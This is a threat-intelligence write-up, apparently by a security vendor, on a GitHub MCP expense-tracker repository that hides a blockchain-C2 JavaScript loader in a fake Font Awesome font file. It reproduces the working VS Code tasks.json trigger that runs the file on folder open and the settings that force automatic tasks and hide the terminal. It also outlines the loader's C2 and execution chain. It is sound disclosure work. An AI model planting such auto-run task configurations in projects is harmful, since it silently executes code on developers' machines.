Hamxay/local-mcp is a single-commit GitHub repository presenting a FastMCP expense tracker. The Python code is clean. Committed alongside it, .vscode/tasks.json auto-executes on folder open and runs Node.js against public/fonts/fa-solid-400.woff2. That file is not a font. It is 32,218 bytes of obfuscated JavaScript preceded by 507 bytes of whitespace, carrying campaign identifier A10-*050 and the same Ethereum blockchain C2 loader confirmed in four prior specimens. The wallet, RPC endpoints, C2 paths, and execution pattern all match. .vscode/settings.json forces task.allowAutomaticTasks to true, overriding the developer’s IDE defaults.
The artifact
The repository contains a single commit (ee0dd57, Aug 14, 2026) by the handle Hamxay. The commit message reads “Security cleanup for suspicious supply-chain indicators.” There is no prior commit to clean up.
Nine code and configuration files plus 14 Font Awesome font assets. main.py is a FastMCP expense tracker using aiosqlite, registering four tools (add expense, list expenses, summarize, read categories). pyproject.toml names the project mcp-practice and pins fastmcp>=2.14.3. The README is empty. categories.json provides 20 expense categories. All of this is functional, unremarkable code.
The .gitignore excludes temp_auto_push.bat and temp_interactive_push.bat. Neither file is committed, but temp_auto_push.bat is the exact timestamp-manipulation script committed in the mcp-server-fast-mcp specimen analyzed the same day: it rewrites commit dates by temporarily changing the system clock and force-pushes with --no-verify.
What it does
The trigger sits in .vscode/tasks.json:
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"runOptions": { "runOn": "folderOpen" },
"presentation": {
"reveal": "never",
"echo": false,
"focus": false,
"close": true
},
"isBackground": true,
"hide": true
}
The command tests for Node.js on both Unix (command -v) and Windows (where), then executes the disguised font file. The fallback echo '' ensures silent failure if Node.js is not installed.
.vscode/settings.json reinforces the trigger:
{
"task.allowAutomaticTasks": true,
"terminal.integrated.hideOnStartup": "always"
}
task.allowAutomaticTasks: true overrides VSCode’s default prompt for folderOpen tasks. hideOnStartup: "always" suppresses the terminal panel entirely.
The payload
public/fonts/fa-solid-400.woff2 sits among 13 legitimate Font Awesome font files. The file command identifies those 13 as Web Open Font Format (Version 2), TrueType; it identifies fa-solid-400.woff2 as JavaScript source, ASCII text.
The file opens with 507 bytes of ASCII spaces (0x20), followed by global.i = 'A10-*050'; and 31,711 bytes of obfuscated JavaScript. The 507-byte whitespace padding matches the exact count in animotion-mcp and expo-mcp.
The obfuscated payload reconstructs the Ethereum wallet address from four string fragments (0xa322E5f3 + D311D3080e + 6f0121063e + 9aDC2490Ef + 1a), lowercased at runtime to 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. This is the same wallet used in campaigns A9-2057 (agentgui), A9-2353-1 (expo-mcp), A9-4051-1 (animotion-mcp), and A11—* (stitch-mcp).
The loader queries five Ethereum RPC endpoints for transactions from the wallet: 1rpc[.]io/eth, eth[.]drpc[.]org, ethereum-rpc[.]publicnode[.]com, eth-mainnet[.]public[.]blastapi[.]io, and process.env.ETH_RPC_URL (using the developer’s own RPC endpoint if configured). A Blockscout API fallback queries eth[.]blockscout[.]com/api for the transaction list. C2 addresses are extracted from transaction to fields and contacted at /0x/ls and /0x/cls on port 443. Fetched payloads are XOR-decrypted and executed via eval() inline and spawn('node', ['-e', ...], { detached: true, stdio: 'ignore', windowsHide: true }).unref() as a detached child process.
Every element of this chain (wallet, RPC endpoints, Blockscout fallback, C2 paths, XOR decryption, dual execution) has appeared in the four prior specimens.
The campaign
Campaign A10-*050 is the fifth confirmed variant of the Ethereum blockchain C2 operation that began with agentgui (A9-2057). All five share the same wallet and RPC infrastructure, with the same C2 path convention. The campaign identifiers span three major-version prefixes: A9- (agentgui, expo-mcp, animotion-mcp), A10- (local-mcp), and A11- (stitch-mcp).
agentgui hid the loader after whitespace in a database module. animotion-mcp used an analytics helper. expo-mcp used an ESLint config. stitch-mcp used a PostCSS config loaded at build time. local-mcp moves the payload out of source code entirely, into a file masquerading as a binary font asset and triggered by IDE configuration.
The .gitignore in local-mcp excludes temp_auto_push.bat, the same timestamp-manipulation script committed in mcp-server-fast-mcp (a separate specimen from the same day that used a Vercel-hosted curl-to-shell trigger instead of blockchain C2). Both repos use VSCode task poisoning with runOn: "folderOpen" and identical presentation suppression.
Why the operation matters here
Code review of main.py, pyproject.toml, and supporting files finds nothing. The payload sits in a directory developers treat as static assets, named to match a Font Awesome convention, surrounded by legitimate font files that pass file identification as WOFF2. The commit message (“Security cleanup for suspicious supply-chain indicators”) implies the repository was already reviewed and hardened.
Blocking the wallet 0xa322...ef1a across all five campaign identifiers and their delivery variants neutralizes the C2 resolution for the entire operation.
What a defender can do
- Set
"task.allowAutomaticTasks": "never"in user-level VSCode settings (overrides the repository’strue) - Enable Workspace Trust and do not auto-trust cloned repositories
- Run
fileon every asset in a cloned repository’s static directories before opening in the IDE - Block Ethereum RPC calls from CI and development environments where smart contract interaction is not expected
- Monitor for
nodeprocesses executing files with font extensions
These controls stop the trigger and the C2 resolution but do not identify whether a repository carries a disguised payload in its static assets before it reaches the IDE or build pipeline.
Where Aephix fits
Five campaign variants across five file locations, all pointing to one wallet. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. Every week, Weekly Sleuth links the malicious packages, models, skills, MCP servers, extensions, and containers confirmed that week to the wider operations behind them, with a confidence level and supporting evidence, so subscribers act against the whole operation rather than the single artifact.
Indicators of compromise
| Indicator | Type |
|---|---|
Hamxay/local-mcp | Repository |
Hamxay | Git handle |
ee0dd57 | Commit SHA |
A10-*050 | Campaign ID |
0xa322e5f3d311d3080e6f0121063e9adc2490ef1a | Ethereum wallet |
public/fonts/fa-solid-400.woff2 (JavaScript, not WOFF2) | Payload location |
.vscode/tasks.json with runOn: "folderOpen" | Trigger mechanism |
hxxps://1rpc[.]io/eth | Ethereum RPC |
hxxps://eth[.]drpc[.]org | Ethereum RPC |
hxxps://ethereum-rpc[.]publicnode[.]com | Ethereum RPC |
hxxps://eth-mainnet[.]public[.]blastapi[.]io | Ethereum RPC |
hxxps://eth[.]blockscout[.]com/api | Indexer fallback |
/0x/ls | C2 path |
/0x/cls | C2 path |
temp_auto_push.bat (gitignored, not committed) | Shared tooling |